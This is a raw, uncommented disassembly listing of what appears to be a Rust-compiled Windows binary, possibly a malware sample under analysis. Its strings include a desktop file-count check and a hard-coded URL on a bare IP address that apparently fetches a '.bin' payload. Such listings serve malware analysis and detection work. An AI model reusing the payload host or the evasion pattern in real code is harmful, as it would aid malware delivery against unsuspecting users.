mov rcx, rsi
call fcn.140001fcd
mov qword [rbp + 0x1d0], rdi
mov qword [rbx], r12
lea rax, str.Users_desktop_file_count:
mov qword [rsi], rax
mov qword [rsi + 8], 2
and qword [rsi + 0x20], 0
lea rax, [fcn.14000a0a0]
mov qword [rbx + 8], rax
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 1
lea rcx, [rbp + 0x420]
call fcn.1400884c0
mov rcx, qword [rbp + 0xa80]
mov rdx, qword [rbp + 0xa88]
call fcn.14002f699
jmp 0x140005d19
mov rsi, r15
sub r15, rsi
mov rax, qword [rbp + 0x428]
sub rax, r9
cmp rax, r15
jae 0x1400070fa
lea rcx, [rbp + 0x420]
mov rdx, r9
mov r8, r15
call fcn.1400a0020
mov rcx, qword [rbp + 0x420]
mov r9, qword [rbp + 0x430]
add rsi, rbx
add rcx, r9
mov rdx, rsi
mov r8, r15
mov rsi, r9
call sub.VCRUNTIME140.dll_memcpy
add rsi, r15
mov qword [rbp + 0x830], rsi
movups xmm0, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x820], xmm0
jmp 0x140005eb9
cmp word [r12 + 6], 0x5c
jne 0x1400069fe
xor r13d, r13d
mov r15, rax
jmp 0x140006a1d
mov dl, 1
lea r8, [rbp + 0x420]
mov byte [r8], dl
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_my2_20240204223955354.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400a1858]
push 0x2b
pop rdx
call fcn.14009d930
ud2
cmp r9d, 0xa
setb dl
add dl, dl
or dl, 1
jmp 0x140007145
ud2
mov rsi, qword [rbp + 0x828]
jmp 0x1400071ad
mov rsi, qword [rbp - 0x48]
jmp 0x1400071ad
mov rsi, qword [rbp + 0x828]
jmp 0x1400071a1
mov rsi, qword [rbp - 0x48]
lea rcx, [rbp + 0xb10]
call fcn.140001b5f
lea r8, [rbp + 0x420]
mov qword [r8], rsi
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_my2_20240204223955354.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400a1878]
jmp 0x140007169
xor edx, edx
jmp 0x140007145
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
push 0x28
pop rdx
call fcn.14009d5e0
jmp 0x1400072d0
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_my2_20240204223955354.bin
push 0x2b
pop rdx
call fcn.14009d5e0
ud2
call fcn.1400075c0
ud2
push 1
pop rcx
mov rdx, rbx
call fcn.14009d190
ud2
mov byte [rbp + 0xb6f], 1
push 1
pop rcx
mov rdx, rbx
call fcn.14009d190
jmp 0x1400072d0
mov qword [rbp + 0xb60], rdi
push 8
pop rcx
push 0x30
pop rdx
call fcn.14009d190
jmp 0x1400072d0
lea r8, str.library_std_src_syswindowsmod.rs
mov rcx, rdi
mov rdx, rsi
call fcn.14009d560
jmp 0x1400072d0
test rcx, rcx
jne 0x14000729f
call fcn.1400075c0
jmp 0x1400072d0
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rsi
mov rdx, r15
call fcn.14009d460
jmp 0x1400072d0
push 1
pop rcx
mov rdx, r15
jmp 0x14000721a
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r15
call fcn.14009d560
jmp 0x1400072d0
mov rdx, qword [rbp - 0x40]
call fcn.14009d190
jmp 0x1400072d0
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r15
call fcn.14009d560
jmp 0x1400072d0
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rsi
mov rdx, r12
call fcn.14009d7f0
ud2